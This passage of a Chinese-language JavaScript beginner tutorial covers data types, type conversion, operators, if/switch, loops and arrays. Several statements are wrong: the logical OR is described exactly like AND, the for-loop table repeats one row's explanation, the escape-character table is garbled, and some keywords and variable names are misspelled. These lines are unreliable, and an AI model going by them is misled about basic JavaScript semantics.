class="token function">log</span><span class="token punctuation">(</span>isNum<span class="token punctuation">)</span><span class="token punctuation">;</span>          <span class="token comment">// false ，21 不是一个非数字</span><span class="token keyword">var</span> usrName <span class="token operator">=</span> <span class="token string">"andy"</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isNaN</span><span class="token punctuation">(</span>userName<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// true ，"andy"是一个非数字</span></code></pre><h5 id="字符串型-String">字符串型 String</h5><p>字符串型可以是引号中的任意文本，其语法为 双引号 “” 和 单引号’’</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> strMsg <span class="token operator">=</span> <span class="token string">"我爱北京天安门~"</span><span class="token punctuation">;</span>  <span class="token comment">// 使用双引号表示字符串</span><span class="token keyword">var</span> strMsg2 <span class="token operator">=</span> <span class="token string">'我爱吃猪蹄~'</span><span class="token punctuation">;</span>    <span class="token comment">// 使用单引号表示字符串</span><span class="token comment">// 常见错误</span><span class="token keyword">var</span> strMsg3 <span class="token operator">=</span> 我爱大肘子<span class="token punctuation">;</span>       <span class="token comment">// 报错，没使用引号，会被认为是js代码，但js没有这些语法</span></code></pre><p>因为 HTML 标签里面的属性使用的是双引号，JS 这里我们更推荐使用单引号。</p><ol><li><p>字符串引号嵌套</p><p>JS 可以用单引号嵌套双引号 ，或者用双引号嵌套单引号 (外双内单，外单内双)</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> strMsg <span class="token operator">=</span> <span class="token string">'我是"高帅富"程序猿'</span><span class="token punctuation">;</span>   <span class="token comment">// 可以用''包含""</span><span class="token keyword">var</span> strMsg2 <span class="token operator">=</span> <span class="token string">"我是'高帅富'程序猿"</span><span class="token punctuation">;</span>  <span class="token comment">// 也可以用"" 包含''</span><span class="token comment">//  常见错误</span><span class="token keyword">var</span> badQuotes <span class="token operator">=</span> 'What on earth<span class="token operator">?</span>"<span class="token punctuation">;</span> <span class="token comment">// 报错，不能 单双引号搭配</span></code></pre><table><thead><tr><th>转义符</th><th>解释说明</th></tr></thead><tbody><tr><td>\n</td><td>换行符，n   是   newline   的意思</td></tr><tr><td>\ \</td><td>斜杠   \</td></tr><tr><td>’</td><td>’   单引号</td></tr><tr><td>&quot;</td><td>”双引号</td></tr><tr><td>\t</td><td>tab  缩进</td></tr><tr><td>\b</td><td>空格 ，b   是   blank  的意思</td></tr></tbody></table></li><li><p>字符串长度（与Python不一样）</p><p>​字符串是由若干字符组成的，这些字符的数量就是字符串的长度。通过字符串的 length 属性可以获取整个字符串的长度。</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> strMsg <span class="token operator">=</span> <span class="token string">"我是帅气多金的程序猿！"</span><span class="token punctuation">;</span><span class="token function">alert</span><span class="token punctuation">(</span>strMsg<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 显示 11</span></code></pre></li><li><p>字符串拼接</p><ul><li><p>多个字符串之间可以使用 + 进行拼接，其拼接方式为 字符串 + 任何类型 = 拼接之后的新字符串</p></li><li><p>拼接前会把与字符串相加的任何类型转成字符串，再拼接成一个新的字符串</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">//1.1 字符串 "相加"</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">'hello'</span> <span class="token operator">+</span> <span class="token string">' '</span> <span class="token operator">+</span> <span class="token string">'world'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hello world</span><span class="token comment">//1.2 数值字符串 "相加"</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">'100'</span> <span class="token operator">+</span> <span class="token string">'100'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 100100</span><span class="token comment">//1.3 数值字符串 + 数值</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">'11'</span> <span class="token operator">+</span> <span class="token number">12</span><span class="token punctuation">)</span><span class="token punctuation">;</span>     <span class="token comment">// 1112 </span></code></pre></li><li><p><em><strong>+ 号总结口诀：数值相加 ，字符相连</strong></em></p></li></ul></li><li><p>字符串拼接加强</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'Alexation'</span> <span class="token operator">+</span> <span class="token number">18</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// 只要有字符就会相连 </span><span class="token keyword">var</span> age <span class="token operator">=</span> <span class="token number">18</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'Alexation age 岁啦'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token comment">// 这样不行哦</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'Alexation'</span> <span class="token operator">+</span> age<span class="token punctuation">)</span><span class="token punctuation">;</span>         <span class="token comment">// Alexation 18</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'Alexation'</span> <span class="token operator">+</span> age <span class="token operator">+</span> <span class="token string">'岁啦'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Alexation 18岁啦</span></code></pre><ul><li>经常会将字符串和变量来拼接，变量可以很方便地修改里面的值</li><li>变量是不能添加引号的，因为加引号的变量会变成字符串</li><li>如果变量两侧都有字符串拼接，口诀“引引加加 ”，删掉数字，变量写加中间</li></ul></li></ol><h5 id="布尔型Boolean">布尔型Boolean</h5><p>布尔类型有两个值：true 和 false ，其中 true 表示真（对），而 false 表示假（错）。</p><p>布尔型和数字型相加的时候， true 的值为 1 ，false 的值为 0。</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">true</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// 2</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">false</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span></code></pre><h5 id="Undefined和-Null">Undefined和 Null</h5><p>一个声明后没有被赋值的变量会有一个默认值undefined ( 如果进行相连或者相加时，注意结果）</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> variable<span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>variable<span class="token punctuation">)</span><span class="token punctuation">;</span>           <span class="token comment">// undefined</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'你好'</span> <span class="token operator">+</span> variable<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// 你好undefined</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">11</span> <span class="token operator">+</span> variable<span class="token punctuation">)</span><span class="token punctuation">;</span>     <span class="token comment">// NaN</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">true</span> <span class="token operator">+</span> variable<span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">//  NaN</span></code></pre><p>一个声明变量给 null 值，里面存的值为空（学习对象时，我们继续研究null)</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> vari <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'你好'</span> <span class="token operator">+</span> vari<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// 你好null</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">11</span> <span class="token operator">+</span> vari<span class="token punctuation">)</span><span class="token punctuation">;</span>     <span class="token comment">// 11</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">true</span> <span class="token operator">+</span> vari<span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">//  1</span></code></pre><h4 id="获取变量数据类型">获取变量数据类型</h4><p>typeof 可用来获取检测变量的数据类型</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> num <span class="token operator">=</span> <span class="token number">18</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">typeof</span> num<span class="token punctuation">)</span> <span class="token comment">// 结果 number      </span></code></pre><p>不同类型的返回值</p><p><img src="https://img.alexation.cn/blog/post/javascript/basic/5-1.png" alt=""></p><h4 id="数据类型转换">数据类型转换</h4><p>​什么是数据类型转换？</p><p>​使用表单、prompt 获取过来的数据默认是字符串类型的，此时就不能直接简单的进行加法运算，而需要转换变量的数据类型。通俗来说，就是把一种数据类型的变量转换成另一种数据类型，通常会实现3种方式的转换：</p><ul><li>转换为字符串类型</li><li>转换为数字型</li><li>转换为布尔型</li></ul><h5 id="转换为字符串">转换为字符串</h5><p><img src="https://img.alexation.cn/blog/post/javascript/basic/5-2.png" alt=""></p><ul><li><p>toString() 和 String()  使用方式不一样。</p></li><li><p>三种转换方式，更多第三种加号拼接字符串转换方式， 这一种方式也称之为隐式转换。</p></li><li><p>转换为数字型（重点）</p><p><img src="https://img.alexation.cn/blog/post/javascript/basic/5-3.png" alt=""></p><ul><li>注意 parseInt 和 parseFloat 单词的大小写，这2个是重点</li><li>隐式转换是我们在进行算数运算的时候，JS 自动转换了数据类型</li></ul></li></ul><h5 id="转换为布尔型">转换为布尔型</h5><p><img src="https://img.alexation.cn/blog/post/javascript/basic/5-4.png" alt=""></p><ul><li><p>代表空、否定的值会被转换为 false  ，如 ‘’、0、NaN、null、undefined</p></li><li><p>其余值都会被转换为 true</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token string">''</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token number">NaN</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token keyword">undefined</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token string">'小白'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token number">12</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></li></ul><h3 id="关键字和保留字">关键字和保留字</h3><h4 id="标识符">标识符</h4><p>标识(zhi)符：就是指开发人员为变量、属性、函数、参数取的名字。</p><p>标识符不能是关键字或保留字。</p><h4 id="关键字">关键字</h4><p>关键字：是指 JS本身已经使用了的字，不能再用它们充当变量名、方法名。</p><p>包括：break、case、catch、continue、default、delete、do、else、finally、for、function、if、in、instanceof、new、return、switch、this、throw、try、typeof、var、void、while、with 等。</p><h4 id="保留字">保留字</h4><p>保留字：实际上就是预留的“关键字”，意思是现在虽然还不是关键字，但是未来可能会成为关键字，同样不能使用它们当变量名或方法名。</p><p>包括：boolean、byte、char、class、const、debugger、double、enum、export、extends、fimal、float、goto、implements、import、int、interface、long、mative、package、private、protected、public、short、static、super、synchronized、throws、transient、volatile 等。</p><p>注意：如果将保留字用作变量名或函数名，那么除非将来的浏览器实现了该保留字，否则很可能收不到任何错误消息。当浏览器将其实现后，该单词将被看做关键字，如此将出现关键字错误。</p><h2 id="程序的逻辑">程序的逻辑</h2><h3 id="运算符（操作符）">运算符（操作符）</h3><h4 id="递增和递减运算符">递增和递减运算符</h4><p>递增和递减运算符概述</p><p>如果需要反复给数字变量添加或减去1，可以使用递增（++）和递减（ – ）运算符来完成。</p><p>在 JavaScript 中，递增（++）和递减（ – ）既可以放在变量前面，也可以放在变量后面。放在变量前面时，我们可以称为前置递增（递减）运算符，放在变量后面时，我们可以称为后置递增（递减）运算符。</p><p>注意：递增和递减运算符必须和变量配合使用。</p><p><strong>递增运算符</strong></p><ul><li><p>前置递增运算符</p><p>++num 前置递增，就是自加1，类似于 num =  num + 1，但是 ++num 写起来更简单。</p><p>使用口诀：先自加，后返回值</p></li></ul><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span>  num <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token operator">++</span>num <span class="token operator">+</span> <span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// 21</span></code></pre><ul><li><p>后置递增运算符</p><p>num++ 后置递增，就是自加1，类似于 num =  num + 1 ，但是 num++ 写起来更简单。</p><p>使用口诀：先返回原值，后自加</p></li></ul><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span>  num <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">10</span> <span class="token operator">+</span> num<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// 20</span></code></pre><h4 id="比较运算符">比较运算符</h4><p>比较运算符概述</p><p>概念：比较运算符（关系运算符）是两个数据进行比较时所使用的运算符，比较运算后，会返回一个布尔值（true / false）作为比较运算的结果。</p><p><img src="https://img.alexation.cn/blog/post/javascript/basic/6.png" alt=""></p><p>等号比较</p><p><img src="https://img.alexation.cn/blog/post/javascript/basic/7.png" alt=""></p><pre class="language-javascript" data-language="javascript"><code class="language-javascript">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">18</span> <span class="token operator">==</span> <span class="token string">'18'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">18</span> <span class="token operator">===</span> <span class="token string">'18'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> </code></pre><h4 id="逻辑运算符">逻辑运算符</h4><p>逻辑运算符概述</p><p>概念：逻辑运算符是用来进行布尔值运算的运算符，其返回值也是布尔值。后面开发中经常用于多个条件的判断</p><ul><li><p>逻辑与&amp;&amp;</p><p>两边都是 true才返回 true，否则返回 false</p></li><li><p>逻辑或 ||</p><p>两边都是 true才返回 true，否则返回 false</p></li><li><p>逻辑非 ！</p><p>逻辑非（!）也叫作取反符，用来取一个布尔值相反的值，如 true 的相反值是 false</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> isOk <span class="token operator">=</span> <span class="token operator">!</span><span class="token boolean">true</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>isOk<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// false</span></code></pre></li><li><p>短路运算（逻辑中断）</p><p>短路运算的原理：当有多个表达式（值）时,左边的表达式值可以确定结果时,就不再继续运算右边的表达式的值;</p><ul><li><p>逻辑与</p><p>语法： 表达式1 &amp;&amp; 表达式2</p><ul><li>如果第一个表达式的值为真，则返回表达式2</li><li>如果第一个表达式的值为假，则返回表达式1</li></ul></li></ul></li></ul><pre class="language-javascript" data-language="javascript"><code class="language-javascript">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span> <span class="token number">123</span> <span class="token operator">&amp;&amp;</span> <span class="token number">456</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// 456</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> <span class="token number">456</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>          <span class="token comment">// 0</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span> <span class="token number">123</span> <span class="token operator">&amp;&amp;</span> <span class="token number">456</span><span class="token operator">&amp;&amp;</span> <span class="token number">789</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// 789</span></code></pre><ul><li><p>逻辑或</p><p>语法： 表达式1 || 表达式2</p><p>如果第一个表达式的值为真，则返回表达式1</p><p>如果第一个表达式的值为假，则返回表达式2</p> <pre class="language-javascript" data-language="javascript"><code class="language-javascript">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span> <span class="token number">123</span> <span class="token operator">||</span> <span class="token number">456</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>         <span class="token comment">//  123</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span> <span class="token number">0</span> <span class="token operator">||</span>  <span class="token number">456</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>          <span class="token comment">//  456</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span> <span class="token number">123</span> <span class="token operator">||</span> <span class="token number">456</span> <span class="token operator">||</span> <span class="token number">789</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">//  123</span></code></pre></li></ul><h4 id="运算符优先级">运算符优先级</h4><p><img src="https://img.alexation.cn/blog/post/javascript/basic/8.png" alt=""></p><ul><li>一元运算符里面的逻辑非优先级很高</li><li>逻辑与比逻辑或优先级高</li></ul><h3 id="流程控制">流程控制</h3><h4 id="分支流程控制">分支流程控制</h4><ul><li><p>分支结构</p><p>由上到下执行代码的过程中，根据不同的条件，执行不同的路径代码（执行代码多选一的过程），从而得到不同的结果.</p><p>JS 语言提供了两种分支结构语句：if 语句、switch 语句</p></li><li><p>if 语句</p><ul><li>语法结构</li></ul><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 条件成立执行代码，否则什么也不做</span><span class="token keyword">if</span> <span class="token punctuation">(</span>条件表达式<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// 条件成立执行的代码语句</span><span class="token punctuation">&#125;</span></code></pre></li></ul><p>语句可以理解为一个行为，循环语句和分支语句就是典型的语句。一个程序由很多个语句组成，一般情况下，会分割成一个一个的语句。</p><ul><li><p>执行流程</p><p><img src="https://img.alexation.cn/blog/post/javascript/basic/9.png" alt=""></p></li><li><p>if else语句（双分支语句）</p><ul><li><p>语法结构</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 条件成立  执行 if 里面代码，否则执行else 里面的代码</span><span class="token keyword">if</span> <span class="token punctuation">(</span>条件表达式<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// [如果] 条件成立执行的代码</span><span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// [否则] 执行的代码</span><span class="token punctuation">&#125;</span></code></pre></li><li><p>执行流程</p><p><img src="https://img.alexation.cn/blog/post/javascript/basic/10.png" alt=""></p></li></ul></li><li><p>if else if 语句(多分支语句)</p><ul><li><p>语法结构</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 适合于检查多重条件。</span><span class="token keyword">if</span> <span class="token punctuation">(</span>条件表达式<span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    语句<span class="token number">1</span>；<span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>条件表达式<span class="token number">2</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    语句<span class="token number">2</span>；<span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>条件表达式<span class="token number">3</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>   语句<span class="token number">3</span>； <span class="token operator">...</span><span class="token punctuation">.</span><span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// 上述条件都不成立执行此处代码</span><span class="token punctuation">&#125;</span></code></pre></li><li><p>执行逻辑</p></li></ul><p><img src="https://img.alexation.cn/blog/post/javascript/basic/11.png" alt=""></p></li></ul><h4 id="三元表达式">三元表达式</h4><ul><li><p>语法结构</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript">表达式<span class="token number">1</span> <span class="token operator">?</span> 表达式<span class="token number">2</span> <span class="token operator">:</span> 表达式<span class="token number">3</span><span class="token punctuation">;</span></code></pre></li><li><p>执行思路</p><ul><li>如果表达式1为 true ，则返回表达式2的值，如果表达式1为 false，则返回表达式3的值</li><li>简单理解： 就类似于  if  else （双分支） 的简写</li></ul></li></ul><h4 id="switch分支流程控制">switch分支流程控制</h4><ul><li><p>语法结构</p><p>switch 语句也是多分支语句，它用于基于不同的条件来执行不同的代码。当要针对变量设置一系列的特定值的选项时，就可以使用 switch。</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">switch</span><span class="token punctuation">(</span> 表达式 <span class="token punctuation">)</span><span class="token punctuation">&#123;</span>     <span class="token keyword">case</span> value1<span class="token operator">:</span>        <span class="token comment">// 表达式 等于 value1 时要执行的代码</span>        <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token keyword">case</span> value2<span class="token operator">:</span>        <span class="token comment">// 表达式 等于 value2 时要执行的代码</span>        <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token keyword">default</span><span class="token operator">:</span>        <span class="token comment">// 表达式 不等于任何一个 value 时要执行的代码</span><span class="token punctuation">&#125;</span></code></pre></li><li><p>switch ：开关 转换  ， case ：小例子   选项</p></li><li><p>关键字 switch 后面括号内可以是表达式或值， 通常是一个变量</p></li><li><p>关键字 case , 后跟一个选项的表达式或值，后面跟一个冒号</p></li><li><p>switch 表达式的值会与结构中的 case 的值做比较</p></li><li><p>如果存在匹配全等(===) ，则与该 case 关联的代码块会被执行，并在遇到 break 时停止，整个 switch 语句代码执行结束</p></li><li><p>如果所有的 case 的值都和表达式的值不匹配，则执行 default 里的代码</p><p><strong>注意： 执行case 里面的语句时，如果没有break，则继续执行下一个case里面的语句。</strong></p></li></ul><h3 id="循环">循环</h3><h4 id="for循环">for循环</h4><p>语法结构</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">for</span><span class="token punctuation">(</span>初始化变量<span class="token punctuation">;</span> 条件表达式<span class="token punctuation">;</span> 操作表达式 <span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token comment">//循环体</span><span class="token punctuation">&#125;</span></code></pre><table><thead><tr><th>名称</th><th>作用</th></tr></thead><tbody><tr><td>初始化变量</td><td>通常被用于初始化一个计数器，该表达式可以使用 var 关键字声明新的变量，这个变量帮我们来记录次数。</td></tr><tr><td>条件表达式</td><td>用于确定每一次循环是否能被执行。如果结果是 true 就继续循环，否则退出循环。</td></tr><tr><td>操作表达式</td><td>用于确定每一次循环是否能被执行。如果结果是 true 就继续循环，否则退出循环。</td></tr></tbody></table><p><strong>执行过程：</strong></p><ol><li>初始化变量，初始化操作在整个 for 循环只会执行一次。</li></ol><ul><li>执行条件表达式，如果为true，则执行循环体语句，否则退出循环，循环结束。</li></ul><ol><li>执行操作表达式，此时第一轮结束。</li><li>第二轮开始，直接去执行条件表达式（不再初始化变量），如果为 true ，则去执行循环体语句，否则退出循环。</li><li>继续执行操作表达式，第二轮结束。</li><li>后续跟第二轮一致，直至条件表达式为假，结束整个 for 循环。</li></ol><p><strong>断点调试：</strong></p><p>断点调试是指自己在程序的某一行设置一个断点，调试时，程序运行到这一行就会停住，然后你可以一步一步往下调试，调试过程中可以看各个变量当前的值，出错的话，调试到出错的代码行即显示错误，停下。断点调试可以帮助观察程序的运行过程</p><p>断点调试的流程：<br>1、浏览器中按 F12–&gt; sources --&gt;找到需要调试的文件–&gt;在程序的某一行设置断点<br>2、Watch: 监视，通过watch可以监视变量的值的变化，非常的常用。<br>3、摁下F11，程序单步执行，让程序一行一行的执行，这个时候，观察watch中变量的值的变化。</p><ul><li><p>for 循环重复不相同的代码</p><p>例如，求输出1到100岁：</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">//  基本写法</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">&lt;=</span> <span class="token number">100</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'这个人今年'</span> <span class="token operator">+</span> i <span class="token operator">+</span> <span class="token string">'岁了'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span></code></pre><p>例如，求输出1到100岁，并提示出生、死亡</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// for 里面是可以添加其他语句的 </span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">&lt;=</span> <span class="token number">100</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>i <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'这个人今年1岁了， 它出生了'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>i <span class="token operator">==</span> <span class="token number">100</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'这个人今年100岁了，它死了'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>       console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'这个人今年'</span> <span class="token operator">+</span> i <span class="token operator">+</span> <span class="token string">'岁了'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><p>for循环因为有了计数器的存在，还可以重复的执行某些操作，比如做一些算术运算。</p></li></ul><h4 id="while循环">while循环</h4><p>while语句的语法结构如下：</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">while</span> <span class="token punctuation">(</span>条件表达式<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// 循环体代码 </span><span class="token punctuation">&#125;</span></code></pre><p>执行思路：</p><ul><li>1 先执行条件表达式，如果结果为 true，则执行循环体代码；如果为 false，则退出循环，执行后面代码</li><li>2 执行循环体代码</li><li>3 循环体代码执行完毕后，程序会继续判断执行条件表达式，如条件仍为true，则会继续执行循环体，直到循环条件为 false 时，整个循环过程才会结束</li></ul><p>注意：</p><ul><li>使用 while 循环时一定要注意，它必须要有退出条件，否则会成为死循环</li></ul><h4 id="do-while循环">do-while循环</h4><p>do… while 语句的语法结构如下：</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">do</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// 循环体代码 - 条件表达式为 true 时重复执行循环体代码</span><span class="token punctuation">&#125;</span> <span class="token keyword">while</span><span class="token punctuation">(</span>条件表达式<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><p>执行思路</p><ul><li><p>1 先执行一次循环体代码</p></li><li><p>2 再执行条件表达式，如果结果为 true，则继续执行循环体代码，如果为 false，则退出循环，继续执行后面代码</p><p>注意：先再执行循环体，再判断，do…while循环语句至少会执行一次循环体代码</p></li></ul><h4 id="continue、break">continue、break</h4><p>与python一致</p><h3 id="数组">数组</h3><h4 id="数组的概念">数组的概念</h4><ul><li>数组可以把一组相关的数据一起存放，并提供方便的访问(获取）方式。</li><li>数组是指<strong>一组数据的集合</strong>，其中的每个数据被称作<strong>元素</strong>，在数组中可以<strong>存放任意类型的元素</strong>。数组是一种将一组数据存储在单个变量名下的优雅方式。</li></ul><h4 id="创建数组">创建数组</h4><p>JS 中创建数组有两种方式：</p><ul><li><p>利用  new 创建数组</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> 数组名 <span class="token operator">=</span> <span class="token 